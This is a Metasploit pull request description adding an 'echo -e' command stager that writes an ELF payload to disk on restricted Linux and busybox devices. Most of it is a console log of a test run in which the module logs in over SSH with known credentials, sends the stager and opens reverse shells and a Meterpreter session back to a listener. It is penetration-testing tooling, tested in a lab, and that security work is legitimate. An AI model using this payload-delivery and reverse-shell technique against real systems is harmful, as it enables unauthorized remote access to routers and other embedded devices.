rapid7/metasploit-framework — pull request #2371 by jvazquez-r7 (2013-09-16 17:05:23+00:00)
Title: "echo -e" CmdStager

This pull request adds a CMD Stager using the echo's "-e" flag, that enable interpretation of backslash escapes, to drop an ELF with the payload embedded to disk. The "-e" flag is usually available on linux environments. This stager
has been found useful on restricted linux based embedded devices (with just a very restricted busybox).

It's an @jvennix-r7's idea while deploying a linksys router exploit. His new module would need it in order to work.

For testing, an exploit module is available here: https://github.com/jvazquez-r7/metasploit-framework/blob/cmdstager_echo_linux/modules/exploits/multi/ssh/sshexec_echostager.rb

It's just the same than https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/ssh/sshexec.rb, but using the new cmdstager. Just a linux with an SSH sevice is needed in order to make testing:

```
msf exploit(sshexec_echostager) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.218:22 - Sending Bourne stager...
[*] Command Stager progress - 30.19% done (496/1643 bytes)
[*] Command Stager progress - 60.38% done (992/1643 bytes)
[*] Command Stager progress - 90.57% done (1488/1643 bytes)
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.218:40650) at 2013-09-16 11:57:27 -0500
[*] Command Stager progress - 100.00% done (1643/1643 bytes)

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 1? [y/N] y

[*] 192.168.172.218 - Command shell session 1 closed. Reason: User exit
msf exploit(sshexec_echostager) > show options

Module options (exploit/linux/ssh/sshexec_echostager):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD juan yes The password to authenticate with.
RHOST 192.168.172.218 yes The target address
RPORT 22 yes The target port
USERNAME juan yes The user to authenticate as.

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Linux x86

msf exploit(sshexec_echostager) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(sshexec_echostager) > set rhost 192.168.172.218
rhost => 192.168.172.218
msf exploit(sshexec_echostager) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.218:22 - Sending Bourne stager...
[*] Command Stager progress - 45.01% done (496/1102 bytes)
[*] Command Stager progress - 90.02% done (992/1102 bytes)
[*] Sending stage (36 bytes) to 192.168.172.218
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.218:40651) at 2013-09-16 11:57:47 -0500
[*] Command Stager progress - 100.00% done (1102/1102 bytes)

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 2? [y/N] y

[*] 192.168.172.218 - Command shell session 2 closed. Reason: User exit
msf exploit(sshexec_echostager) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec_echostager) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.218:22 - Sending Bourne stager...
[*] Command Stager progress - 45.01% done (496/1102 bytes)
[*] Command Stager progress - 90.02% done (992/1102 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.172.218
[*] Command Stager progress - 100.00% done (1102/1102 bytes)

[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.218:40652) at 2013-09-16 11:58:08 -0500

meterpreter >
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.172.218 - Meterpreter session 3 closed. Reason: User exit
msf exploit(sshexec_echostager) > exit -y
Juans-MacBook-Pro:metasploit-framework juan$ git branch | grep \*
* cmd_stager_echo
Juans-MacBook-Pro:metasploit-framework juan$ git commit -am "Add documentatio to the mixin"
Juans-MacBook-Pro:metasploit-framework juan$ git branch | grep \*
* cmd_stager_echo
Juans-MacBook-Pro:metasploit-framework juan$ git push origin cmd_stager_echo
Counting objects: 30, done.
Delta compression using up to 8 threads.
Compressing objects: 100% (20/20), done.
Writing objects: 100% (20/20), 2.86 KiB, done.
Total 20 (delta 16), reused 0 (delta 0)
To github:jvazquez-r7/metasploit-framework.git
* [new branch] cmd_stager_echo -> cmd_stager_echo

```